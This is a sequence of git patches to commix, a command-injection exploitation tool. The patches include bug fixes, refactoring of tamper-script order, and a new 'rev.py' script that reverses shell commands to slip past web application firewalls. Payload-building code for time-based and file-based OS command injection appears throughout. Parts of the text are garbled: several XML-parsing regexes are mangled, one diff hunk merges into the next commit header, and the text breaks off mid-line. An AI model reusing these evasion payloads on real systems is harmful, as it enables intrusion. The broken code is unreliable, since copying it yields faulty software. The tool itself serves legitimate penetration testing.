a/src/utils/settings.py b/src/utils/settings.py index 51ab6057f9..5aa6543ad1 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.8" -REVISION = "22" +REVISION = "23" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From a3c161b337e9ad5053299000ae41abbd6b4ce2c3 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sun, 4 Jun 2023 08:58:44 +0300 Subject: [PATCH 0307/1023] Fixes https://github.com/commixproject/commix/issues/840 --- doc/CHANGELOG.md | 1 + src/core/injections/controller/checks.py | 12 ++++++++---- src/utils/settings.py | 2 +- 3 files changed, 10 insertions(+), 5 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 781569cd3a..d3897ad4d4 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 3.8 (TBA) +* Fixed: Minor bug-fix regarding forcing usage of SSL/HTTPS requests toward the target (i.e. `--force-ssl` flag). * Fixed: Minor bug-fix regarding setting custom output directory path (i.e `--output-dir` option). * Added: Support for "Bearer" HTTP authentication type. * Revised: Minor improvement regarding tamper script "xforwardedfor.py" (that appends a fake HTTP header `X-Forwarded-For`). diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 2119eb13ab..6327bb90cc 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -866,7 +866,7 @@ def check_CGI_scripts(url): def check_http_s(url): if settings.SINGLE_WHITESPACE in url: url = url.replace(settings.SINGLE_WHITESPACE, _urllib.parse.quote_plus(settings.SINGLE_WHITESPACE)) - + if settings.CHECK_INTERNET: url = settings.CHECK_INTERNET_ADDRESS else: @@ -878,9 +878,6 @@ def check_http_s(url): else: url = "http://" + url settings.SCHEME = (_urllib.parse.urlparse(url).scheme.lower() or "http") if not menu.options.force_ssl else "https" - if menu.options.force_ssl and settings.VERBOSITY_LEVEL != 0: - debug_msg = "Forcing usage of SSL/HTTPS requests." - print(settings.print_debug_msg(debug_msg)) else: err_msg = "Invalid target URL has been given." print(settings.print_critical_msg(err_msg)) @@ -889,6 +886,13 @@ def check_http_s(url): err_msg = "Problem occurred while parsing target URL." print(settings.print_critical_msg(err_msg)) raise SystemExit() + + if _urllib.parse.urlparse(url).scheme != settings.SCHEME: + if menu.options.force_ssl and settings.VERBOSITY_LEVEL != 0: + debug_msg = "Forcing usage of SSL/HTTPS requests." + print(settings.print_debug_msg(debug_msg)) + url = url.replace(_urllib.parse.urlparse(url).scheme, settings.SCHEME) + return url """ diff --git a/src/utils/settings.py b/src/utils/settings.py index 5aa6543ad1..28e0c3614e 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.8" -REVISION = "23" +REVISION = "24" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From bb3140d1f8b3f47d2f08913e1afa3d0407029109 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 5 Jun 2023 08:37:22 +0300 Subject: [PATCH 0308/1023] Fixes https://github.com/commixproject/commix/issues/843 --- doc/CHANGELOG.md | 1 + src/core/injections/controller/checks.py | 22 +++++++++++++--------- src/core/requests/parameters.py | 23 +++++++++++++++++------ src/utils/settings.py | 2 +- 4 files changed, 32 insertions(+), 16 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index d3897ad4d4..ce7b594fb7 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 3.8 (TBA) +* Fixed: Minor bug-fix regarding checking for similarity in provided parameter(s) name(s) and value(s). * Fixed: Minor bug-fix regarding forcing usage of SSL/HTTPS requests toward the target (i.e. `--force-ssl` flag). * Fixed: Minor bug-fix regarding setting custom output directory path (i.e `--output-dir` option). * Added: Support for "Bearer" HTTP authentication type. diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 6327bb90cc..012397dbd9 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -1757,24 +1757,28 @@ def check_similarities(all_params): json_data = json.loads(all_params, object_pairs_hook=OrderedDict) all_params = flatten(json_data) for param in all_params: - if param == all_params[param]: - parameter_name = param - all_params[param] = param + settings.RANDOM_TAG + if all_params[param] in param: + all_params[param] = all_params[param] + settings.RANDOM_TAG all_params = [x.replace(settings.SINGLE_WHITESPACE, "") for x in json.dumps(all_params).split(", ")] except Exception as e: pass else: for param in range(0, len(all_params)): if settings.IS_XML: - if re.findall(r'', all_params[param]) == re.findall(r'>(.*)(.*)" + if re.findall(r'>(.*)(.*)', all_params[param])[0]: + parameter_name = ''.join(re.findall(r'', all_params[param])) + parameter_value = ''.join(re.findall(r'>(.*)" + parameter_value + settings.RANDOM_TAG + "" else: if re.findall(r'(.*)=', all_params[param]) == re.findall(r'=(.*)', all_params[param]): - parameter_name = re.findall(r'=(.*)', all_params[param]) - parameter_name = ''.join(parameter_name) + parameter_name = ''.join(re.findall(r'=(.*)', all_params[param])) all_params[param] = parameter_name + "=" + parameter_name + settings.RANDOM_TAG + elif re.findall(r'=(.*)', all_params[param])[0] in re.findall(r'(.*)=', all_params[param])[0]: + parameter_name = ''.join(re.findall(r'(.*)=', all_params[param])) + parameter_value = ''.join(re.findall(r'=(.*)', all_params[param])) + all_params[param] = parameter_name + "=" + parameter_value + settings.RANDOM_TAG + return all_params """ diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index e6195dcf3b..e0423c1b3a 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -106,6 +106,7 @@ def multi_params_get_value(parameter): parameters = parameters.replace(value, value + settings.INJECT_TAG) # Reconstruct the URL url = url_part + "?" + parameters + url = url.replace(settings.RANDOM_TAG,"") urls_list.append(url) return urls_list else: @@ -148,7 +149,8 @@ def multi_params_get_value(parameter): value = multi_params_get_value(multi_parameters[param]) parameter = settings.PARAMETER_DELIMITER.join(multi_parameters) # Reconstruct the URL - url = url_part + "?" + parameter + url = url_part + "?" + parameter + url = url.replace(settings.RANDOM_TAG,"") urls_list.append(url) return urls_list @@ -249,6 +251,9 @@ def multi_params_get_value(param, all_params): for param in range(len(multi_parameters)): multi_parameters[param] = checks.PCRE_e_modifier(multi_parameters[param], http_request_method) + _ = [] + _.append(parameter) + parameter = ''.join(checks.check_similarities(_)) # Check if single parameter is supplied. if len(multi_parameters) == 1: if settings.INJECT_TAG not in multi_parameters[0]: @@ -265,9 +270,6 @@ def multi_params_get_value(param, all_params): value = re.findall(r'>(.*) Date: Tue, 6 Jun 2023 07:37:28 +0300 Subject: [PATCH 0309/1023] Minor update --- .../results_based/techniques/classic/cb_payloads.py | 5 ----- src/core/main.py | 9 +++------ src/utils/settings.py | 2 +- 3 files changed, 4 insertions(+), 12 deletions(-) diff --git a/src/core/injections/results_based/techniques/classic/cb_payloads.py b/src/core/injections/results_based/techniques/classic/cb_payloads.py index 769defe8f7..fb3b25eae1 100755 --- a/src/core/injections/results_based/techniques/classic/cb_payloads.py +++ b/src/core/injections/results_based/techniques/classic/cb_payloads.py @@ -119,11 +119,6 @@ def cmd_execution(separator, TAG, cmd): "\"') do @set /p = " + TAG + TAG + "%i" + TAG + TAG + settings.CMD_NUL ) else: - - # if not settings.WAF_ENABLED: - # cmd_exec = "$(echo $(" + cmd + "))" - # else: - if settings.USE_BACKTICKS: cmd_exec = "`" + cmd + "`" payload = (separator + diff --git a/src/core/main.py b/src/core/main.py index 7af298d987..56c902ab15 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -84,14 +84,11 @@ def user_agent_header(): else: if settings.VERBOSITY_LEVEL != 0: debug_msg = "Fetching random HTTP User-Agent header. " - sys.stdout.write(settings.print_debug_msg(debug_msg)) - sys.stdout.flush() + print(settings.print_debug_msg(debug_msg)) else: pass try: menu.options.agent = random.choice(settings.USER_AGENT_LIST) - if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) info_msg = "The fetched random HTTP User-Agent header value is '" + menu.options.agent + "'." print(settings.print_info_msg(info_msg)) except: @@ -166,8 +163,8 @@ def init_request(url): checks.check_connection(url) # Number of seconds to wait before timeout connection if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Setting the HTTP timeout." - print(settings.print_debug_msg(debug_msg)) + debug_msg = "Setting the HTTP timeout." + print(settings.print_debug_msg(debug_msg)) if menu.options.timeout: settings.TIMEOUT = menu.options.timeout # Define HTTP User-Agent header diff --git a/src/utils/settings.py b/src/utils/settings.py index ad3349cbb2..e18ffce7c3 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.8" -REVISION = "25" +REVISION = "26" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 7f56f41cbabae0d9d325360a3ce85ebd0d50f5c8 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 8 Jun 2023 08:20:38 +0300 Subject: [PATCH 0310/1023] Added a new tamper script "rev.py" that reverses (characterwise) the user-supplied operating system commands (for *nix targets). --- doc/CHANGELOG.md | 1 + .../techniques/time_based/tb_payloads.py | 2 + src/core/injections/controller/checks.py | 18 ++++++++ .../techniques/classic/cb_payloads.py | 2 + .../techniques/eval_based/eb_payloads.py | 1 + .../techniques/file_based/fb_payloads.py | 1 + .../techniques/tempfile_based/tfb_payloads.py | 2 + src/core/tamper/rev.py | 41 +++++++++++++++++++ src/utils/settings.py | 14 +++++-- 9 files changed, 79 insertions(+), 3 deletions(-) create mode 100644 src/core/tamper/rev.py diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index ce7b594fb7..20317eb0c2 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 3.8 (TBA) +* Added: New tamper script "rev.py" that reverses (characterwise) the user-supplied operating system commands (for *nix targets). * Fixed: Minor bug-fix regarding checking for similarity in provided parameter(s) name(s) and value(s). * Fixed: Minor bug-fix regarding forcing usage of SSL/HTTPS requests toward the target (i.e. `--force-ssl` flag). * Fixed: Minor bug-fix regarding setting custom output directory path (i.e `--output-dir` option). diff --git a/src/core/injections/blind/techniques/time_based/tb_payloads.py b/src/core/injections/blind/techniques/time_based/tb_payloads.py index 6203f83e7b..1f4afc44c1 100755 --- a/src/core/injections/blind/techniques/time_based/tb_payloads.py +++ b/src/core/injections/blind/techniques/time_based/tb_payloads.py @@ -178,6 +178,7 @@ def cmd_execution(separator, cmd, output_length, timesec, http_request_method): ) else: + settings.USER_SUPPLIED_CMD = cmd if separator == ";" or separator == "%0a": payload = (separator + "str=\"$(echo $(" + cmd + "))\"" + separator + @@ -307,6 +308,7 @@ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_met ) else: + settings.USER_SUPPLIED_CMD = cmd if separator == ";" or separator == "%0a" : payload = (separator + # Grab the execution output. diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 012397dbd9..8c8f7da6c5 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -1297,6 +1297,16 @@ def whitespace_check(payload): Check for symbols (i.e "`", "^", "$@" etc) between the characters of the generated payloads. """ def other_symbols(payload): + # Check for reversed (characterwise) user-supplied operating system commands. + if payload.count("|rev") >= 1 and settings.TARGET_OS == "unix": + if not settings.TAMPER_SCRIPTS['rev']: + if menu.options.tamper: + menu.options.tamper = menu.options.tamper + ",rev" + else: + menu.options.tamper = "rev" + from src.core.tamper import rev + payload = rev.tamper(payload) + # Check for (multiple) backticks (instead of "$()") for commands substitution on the generated payloads. if payload.count("`") >= 2 and settings.TARGET_OS == "unix": if menu.options.tamper: @@ -1503,10 +1513,18 @@ def check_for_stored_tamper(payload): """ def perform_payload_modification(payload): + settings.RAW_PAYLOAD = payload.replace(settings.WHITESPACES[0], settings.SINGLE_WHITESPACE) + for extra_http_headers in list(set(settings.MULTI_ENCODED_PAYLOAD[::-1])): if extra_http_headers == "xforwardedfor": from src.core.tamper import xforwardedfor + for encode_type in list(set(settings.MULTI_ENCODED_PAYLOAD[::-1])): + # Reverses (characterwise) the user-supplied operating system commands + if encode_type == 'rev': + from src.core.tamper import rev + payload = rev.tamper(payload) + for encode_type in list(set(settings.MULTI_ENCODED_PAYLOAD[::-1])): # printf to echo (for ascii to dec) if encode_type == 'printf2echo': diff --git a/src/core/injections/results_based/techniques/classic/cb_payloads.py b/src/core/injections/results_based/techniques/classic/cb_payloads.py index fb3b25eae1..b215fedabf 100755 --- a/src/core/injections/results_based/techniques/classic/cb_payloads.py +++ b/src/core/injections/results_based/techniques/classic/cb_payloads.py @@ -119,6 +119,7 @@ def cmd_execution(separator, TAG, cmd): "\"') do @set /p = " + TAG + TAG + "%i" + TAG + TAG + settings.CMD_NUL ) else: + settings.USER_SUPPLIED_CMD = cmd if settings.USE_BACKTICKS: cmd_exec = "`" + cmd + "`" payload = (separator + @@ -135,6 +136,7 @@ def cmd_execution(separator, TAG, cmd): cmd_exec + "$(echo " + TAG + ")" + TAG + "" ) + return payload """ diff --git a/src/core/injections/results_based/techniques/eval_based/eb_payloads.py b/src/core/injections/results_based/techniques/eval_based/eb_payloads.py index f74103f731..ae2a96cc4c 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_payloads.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_payloads.py @@ -175,6 +175,7 @@ def cmd_execution(separator, TAG, cmd): separator + "echo '" + TAG + "'`)%3B" ) else: + settings.USER_SUPPLIED_CMD = cmd if separator == "": payload = ("print(`echo " + TAG + "`." + "`echo " + TAG + "`." + diff --git a/src/core/injections/semiblind/techniques/file_based/fb_payloads.py b/src/core/injections/semiblind/techniques/file_based/fb_payloads.py index 390b88ee39..549142e079 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_payloads.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_payloads.py @@ -81,6 +81,7 @@ def cmd_execution(separator, cmd, OUTPUT_TEXTFILE): "\")\"') do " + settings.WIN_FILE_WRITE_OPERATOR + settings.WEB_ROOT.replace("\\","\\\\") + OUTPUT_TEXTFILE + " '%i'" + settings.CMD_NUL ) else: + settings.USER_SUPPLIED_CMD = cmd payload = (separator + cmd + settings.FILE_WRITE_OPERATOR + settings.WEB_ROOT + OUTPUT_TEXTFILE ) diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py index 88f76366a1..de5cc74bd9 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py @@ -204,6 +204,8 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth ) else: + + settings.USER_SUPPLIED_CMD = cmd if separator == ";" or separator == "%0a" : payload = (separator + "str=$(" + cmd + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + separator + " tr '\\n' ' ' < " + OUTPUT_TEXTFILE + " )" + separator + diff --git a/src/core/tamper/rev.py b/src/core/tamper/rev.py new file mode 100644 index 0000000000..696fa4bf43 --- /dev/null +++ b/src/core/tamper/rev.py @@ -0,0 +1,41 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +from src.utils import settings +from src.thirdparty.six.moves import urllib as _urllib + +""" +About: Is used to reverse (characterwise) the user-supplied operating system commands. +Notes: This tamper script works against Unix-like target(s). +References: [1] https://github.com/commixproject/commix/issues/408 + [2] https://medium.com/picus-security/how-to-bypass-wafs-for-os-command-injection-2c5dd4e6a52b +""" + +__tamper__ = "rev" + +if not settings.TAMPER_SCRIPTS[__tamper__]: + settings.TAMPER_SCRIPTS[__tamper__] = True + +def tamper(payload): + if settings.EXPLOITATION_PHASE: + if settings.USER_SUPPLIED_CMD in settings.RAW_PAYLOAD: + if settings.USE_BACKTICKS: + rev_cmd = "`echo " + settings.USER_SUPPLIED_CMD[::-1] + "|rev`" + else: + rev_cmd = "$(echo " + settings.USER_SUPPLIED_CMD[::-1] + "|rev)" + payload = settings.RAW_PAYLOAD.replace(settings.USER_SUPPLIED_CMD, rev_cmd).replace(settings.SINGLE_WHITESPACE, settings.WHITESPACES[0]) + return payload + +# eof \ No newline at end of file diff --git a/src/utils/settings.py b/src/utils/settings.py index e18ffce7c3..9776ca77f5 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.8" -REVISION = "26" +REVISION = "27" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -270,6 +270,9 @@ def sys_argv_errors(): # Readline READLINE_ERROR = False +# User-supplied operating system command +USER_SUPPLIED_CMD = "" + # Random Tag RANDOM_TAG = "" @@ -482,6 +485,9 @@ def sys_argv_errors(): EVAL_SUFFIXES_LVL2 = EVAL_SUFFIXES_LVL1 + ["'#"] EVAL_SUFFIXES_LVL3 = EVAL_SUFFIXES_LVL2 + [".\"", "\\\\", "//", ")}", "#"] +# Raw payload (without tampering) +RAW_PAYLOAD = "" + # The default (url-ecoded) white-space. WHITESPACES = ["%20"] @@ -1021,7 +1027,8 @@ class AUTH_TYPE(object): "printf2echo": False, "uninitializedvariable": False, "slash2env":False, - "backticks":False + "backticks":False, + "rev":False } UNIX_NOT_SUPPORTED_TAMPER_SCRIPTS = [ @@ -1039,7 +1046,8 @@ class AUTH_TYPE(object): "sleep2usleep", "printf2echo", "space2ifs", - "uninitializedvariable" + "uninitializedvariable", + "rev" ] EVAL_NOT_SUPPORTED_TAMPER_SCRIPTS = [ From 9706d61dac28142df60ece646d76e4d0b16e7044 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 9 Jun 2023 07:50:13 +0300 Subject: [PATCH 0311/1023] Minor code refactoring --- src/core/injections/controller/checks.py | 78 +++++++++++++----------- src/core/tamper/doublequotes.py | 1 + src/core/tamper/nested.py | 1 + src/core/tamper/printf2echo.py | 1 + src/utils/settings.py | 2 +- 5 files changed, 46 insertions(+), 37 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 8c8f7da6c5..7215615535 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -1210,7 +1210,7 @@ def tamper_scripts(stored_tamper_scripts): _ = True warn_msg = "The combination of the provided tamper scripts " if _: - warn_msg += "is not a good idea (may cause false positive results)." + warn_msg += "is not a good idea (may cause false positive / negative results)." print(settings.print_warning_msg(warn_msg)) """ @@ -1514,87 +1514,93 @@ def check_for_stored_tamper(payload): def perform_payload_modification(payload): settings.RAW_PAYLOAD = payload.replace(settings.WHITESPACES[0], settings.SINGLE_WHITESPACE) - + for extra_http_headers in list(set(settings.MULTI_ENCODED_PAYLOAD[::-1])): if extra_http_headers == "xforwardedfor": from src.core.tamper import xforwardedfor - for encode_type in list(set(settings.MULTI_ENCODED_PAYLOAD[::-1])): + for mod_type in list(set(settings.MULTI_ENCODED_PAYLOAD[::-1])): # Reverses (characterwise) the user-supplied operating system commands - if encode_type == 'rev': + if mod_type == 'rev': from src.core.tamper import rev payload = rev.tamper(payload) - for encode_type in list(set(settings.MULTI_ENCODED_PAYLOAD[::-1])): + for print_type in list(set(settings.MULTI_ENCODED_PAYLOAD[::-1])): # printf to echo (for ascii to dec) - if encode_type == 'printf2echo': + if print_type == 'printf2echo': from src.core.tamper import printf2echo payload = printf2echo.tamper(payload) + + for sleep_type in list(set(settings.MULTI_ENCODED_PAYLOAD[::-1])): # sleep to timeout - if encode_type == 'sleep2timeout': + if sleep_type == 'sleep2timeout': from src.core.tamper import sleep2timeout payload = sleep2timeout.tamper(payload) # sleep to usleep - if encode_type == 'sleep2usleep': + if sleep_type == 'sleep2usleep': from src.core.tamper import sleep2usleep payload = sleep2usleep.tamper(payload) - # Add uninitialized variable. - if encode_type == 'uninitializedvariable': - from src.core.tamper import uninitializedvariable - payload = uninitializedvariable.tamper(payload) - if encode_type == 'slash2env': - from src.core.tamper import slash2env - payload = slash2env.tamper(payload) + + for quotes_type in list(set(settings.MULTI_ENCODED_PAYLOAD[::-1])): # Add double-quotes. - if encode_type == 'doublequotes': + if quotes_type == 'doublequotes': from src.core.tamper import doublequotes payload = doublequotes.tamper(payload) # Add single-quotes. - if encode_type == 'singlequotes': + if quotes_type == 'singlequotes': from src.core.tamper import singlequotes payload = singlequotes.tamper(payload) + + for mod_type in list(set(settings.MULTI_ENCODED_PAYLOAD[::-1])): + # Add uninitialized variable. + if mod_type == 'uninitializedvariable': + from src.core.tamper import uninitializedvariable + payload = uninitializedvariable.tamper(payload) + if mod_type == 'slash2env': + from src.core.tamper import slash2env + payload = slash2env.tamper(payload) # Add backslashes. - elif encode_type == 'backslashes': + if mod_type == 'backslashes': from src.core.tamper import backslashes payload = backslashes.tamper(payload) # Add caret symbol. - elif encode_type == 'caret': + if mod_type == 'caret': from src.core.tamper import caret payload = caret.tamper(payload) # Transfomation to nested command - elif encode_type == 'nested': + if mod_type == 'nested': from src.core.tamper import nested payload = nested.tamper(payload) # Add dollar sign followed by an at-sign. - elif encode_type == 'dollaratsigns': + if mod_type == 'dollaratsigns': from src.core.tamper import dollaratsigns payload = dollaratsigns.tamper(payload) - for encode_type in list(set(settings.MULTI_ENCODED_PAYLOAD[::-1])): - # Encode payload to hex format. - if encode_type == 'base64encode': - from src.core.tamper import base64encode - payload = base64encode.tamper(payload) - # Encode payload to hex format. - if encode_type == 'hexencode': - from src.core.tamper import hexencode - payload = hexencode.tamper(payload) - - for encode_type in list(set(settings.MULTI_ENCODED_PAYLOAD[::-1])): + for space_mod in list(set(settings.MULTI_ENCODED_PAYLOAD[::-1])): # Encode spaces. - if encode_type == 'space2ifs': + if space_mod == 'space2ifs': from src.core.tamper import space2ifs payload = space2ifs.tamper(payload) - if encode_type == 'space2plus': + if space_mod == 'space2plus': from src.core.tamper import space2plus payload = space2plus.tamper(payload) - if encode_type == 'space2htab': + if space_mod == 'space2htab': from src.core.tamper import space2htab payload = space2htab.tamper(payload) - if encode_type == 'space2vtab': + if space_mod == 'space2vtab': from src.core.tamper import space2vtab payload = space2vtab.tamper(payload) + for encode_type in list(set(settings.MULTI_ENCODED_PAYLOAD[::-1])): + # Encode payload to hex format. + if encode_type == 'base64encode': + from src.core.tamper import base64encode + payload = base64encode.tamper(payload) + # Encode payload to hex format. + if encode_type == 'hexencode': + from src.core.tamper import hexencode + payload = hexencode.tamper(payload) + return payload """ diff --git a/src/core/tamper/doublequotes.py b/src/core/tamper/doublequotes.py index 350e8a3b6a..8ab33e2d54 100644 --- a/src/core/tamper/doublequotes.py +++ b/src/core/tamper/doublequotes.py @@ -24,6 +24,7 @@ """ __tamper__ = "doublequotes" + if settings.TRANFROM_PAYLOAD != None: settings.TRANFROM_PAYLOAD = None diff --git a/src/core/tamper/nested.py b/src/core/tamper/nested.py index 192b840022..c26af491f8 100644 --- a/src/core/tamper/nested.py +++ b/src/core/tamper/nested.py @@ -24,6 +24,7 @@ """ __tamper__ = "nested" + if not settings.TAMPER_SCRIPTS[__tamper__]: settings.TAMPER_SCRIPTS[__tamper__] = True diff --git a/src/core/tamper/printf2echo.py b/src/core/tamper/printf2echo.py index e864a888f9..e9b292d76f 100644 --- a/src/core/tamper/printf2echo.py +++ b/src/core/tamper/printf2echo.py @@ -21,6 +21,7 @@ """ __tamper__ = "printf2echo" + settings.TAMPER_SCRIPTS[__tamper__] = True def tamper(payload): diff --git a/src/utils/settings.py b/src/utils/settings.py index 9776ca77f5..69f87ad17d 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.8" -REVISION = "27" +REVISION = "28" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From edb2229ae6e4f0b477712b0752aca86a95df7252 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sat, 10 Jun 2023 08:10:12 +0300 Subject: [PATCH 0312/1023] Minor code refactoring regarding multiple tamper scripts (i.e. "backslashes.py", "dollaratsigns.py", "doublequotes.py", "singlequotes.py", "uninitializedvariable.py"). --- doc/CHANGELOG.md | 1 + src/core/injections/controller/checks.py | 2 +- src/core/tamper/backslashes.py | 18 +++++----------- src/core/tamper/dollaratsigns.py | 20 +++++------------- src/core/tamper/doublequotes.py | 26 ++++++++---------------- src/core/tamper/singlequotes.py | 21 ++++++------------- src/core/tamper/uninitializedvariable.py | 22 +++++--------------- src/utils/settings.py | 13 +++++++++++- 8 files changed, 44 insertions(+), 79 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 20317eb0c2..255ce6cbb4 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 3.8 (TBA) +* Revised: Minor code refactoring regarding multiple tamper scripts (i.e. "backslashes.py", "dollaratsigns.py", "doublequotes.py", "singlequotes.py", "uninitializedvariable.py"). * Added: New tamper script "rev.py" that reverses (characterwise) the user-supplied operating system commands (for *nix targets). * Fixed: Minor bug-fix regarding checking for similarity in provided parameter(s) name(s) and value(s). * Fixed: Minor bug-fix regarding forcing usage of SSL/HTTPS requests toward the target (i.e. `--force-ssl` flag). diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 7215615535..8e7362ff5b 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -1306,7 +1306,7 @@ def other_symbols(payload): menu.options.tamper = "rev" from src.core.tamper import rev payload = rev.tamper(payload) - + # Check for (multiple) backticks (instead of "$()") for commands substitution on the generated payloads. if payload.count("`") >= 2 and settings.TARGET_OS == "unix": if menu.options.tamper: diff --git a/src/core/tamper/backslashes.py b/src/core/tamper/backslashes.py index 6724aad621..4696cc30af 100644 --- a/src/core/tamper/backslashes.py +++ b/src/core/tamper/backslashes.py @@ -31,20 +31,12 @@ def tamper(payload): def add_back_slashes(payload): settings.TAMPER_SCRIPTS[__tamper__] = True - rep = { - "\\I\\F\\S": "IFS", - "\\i\\f": "if", - "\\t\\h\\e\\n": "then", - "\\e\\l\\s\\e": "else", - "\\f\\i": "fi", - "\\s\\t\\r": "str", - "\\c\\m\\d": "cmd", - "\\c\\ha\\r": "char" - } + obf_char = "\\" payload = re.sub(r'([b-zD-Z])', r"\\\1", payload) - rep = dict((re.escape(k), v) for k, v in rep.items()) - pattern = re.compile("|".join(rep.keys())) - payload = pattern.sub(lambda m: rep[re.escape(m.group(0))], payload) + for word in settings.IGNORE_TAMPER_TRANSFORMATION: + _ = obf_char.join(word[i:i+1] for i in range(-1, len(word), 1)) + if _ in payload: + payload = payload.replace(_,_.replace(obf_char,"")) return payload if settings.TARGET_OS != "win": diff --git a/src/core/tamper/dollaratsigns.py b/src/core/tamper/dollaratsigns.py index 7720e6c4c1..649d7116de 100644 --- a/src/core/tamper/dollaratsigns.py +++ b/src/core/tamper/dollaratsigns.py @@ -14,8 +14,6 @@ """ import re -import sys -from src.utils import menu from src.utils import settings """ @@ -31,20 +29,12 @@ def tamper(payload): def add_dollar_at_signs(payload): settings.TAMPER_SCRIPTS[__tamper__] = True - rep = { - "$@I$@F$@S": "IFS", - "$@i$@f": "if", - "$@t$@h$@e$@n": "then", - "$@e$@l$@s$@e": "else", - "$@f$@i": "fi", - "$@s$@t$@r": "str", - "$@c$@m$@d": "cmd", - "$@c$@ha$@r": "char" - } + obf_char = "$@" payload = re.sub(r'([b-zD-Z])', r"$@\1", payload) - rep = dict((re.escape(k), v) for k, v in rep.items()) - pattern = re.compile("|".join(rep.keys())) - payload = pattern.sub(lambda m: rep[re.escape(m.group(0))], payload) + for word in settings.IGNORE_TAMPER_TRANSFORMATION: + _ = obf_char.join(word[i:i+1] for i in range(-1, len(word), 1)) + if _ in payload: + payload = payload.replace(_,_.replace(obf_char,"")) return payload if settings.TARGET_OS != "win": diff --git a/src/core/tamper/doublequotes.py b/src/core/tamper/doublequotes.py index 8ab33e2d54..e449794dc2 100644 --- a/src/core/tamper/doublequotes.py +++ b/src/core/tamper/doublequotes.py @@ -14,8 +14,6 @@ """ import re -import sys -from src.utils import menu from src.utils import settings """ @@ -34,23 +32,17 @@ def tamper(payload): def add_double_quotes(payload): settings.TAMPER_SCRIPTS[__tamper__] = True - rep = { - '""I""F""S': 'IFS', - '""i""f': 'if', - '""t""h""e""n': 'then', - '""e""l""s""e': 'else', - '""f""i': 'fi', - '""s""t""r': 'str', - '""c""m""d': 'cmd', - '""c""ha""r': 'char' - } - if settings.TARGET_OS != "win": + obf_char = '""' + if settings.TARGET_OS != "win": payload = re.sub(r'([b-zD-Z])', r'""\1', payload) else: - payload = payload.replace("tokens","\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"") - rep = dict((re.escape(k), v) for k, v in rep.items()) - pattern = re.compile("|".join(rep.keys())) - payload = pattern.sub(lambda 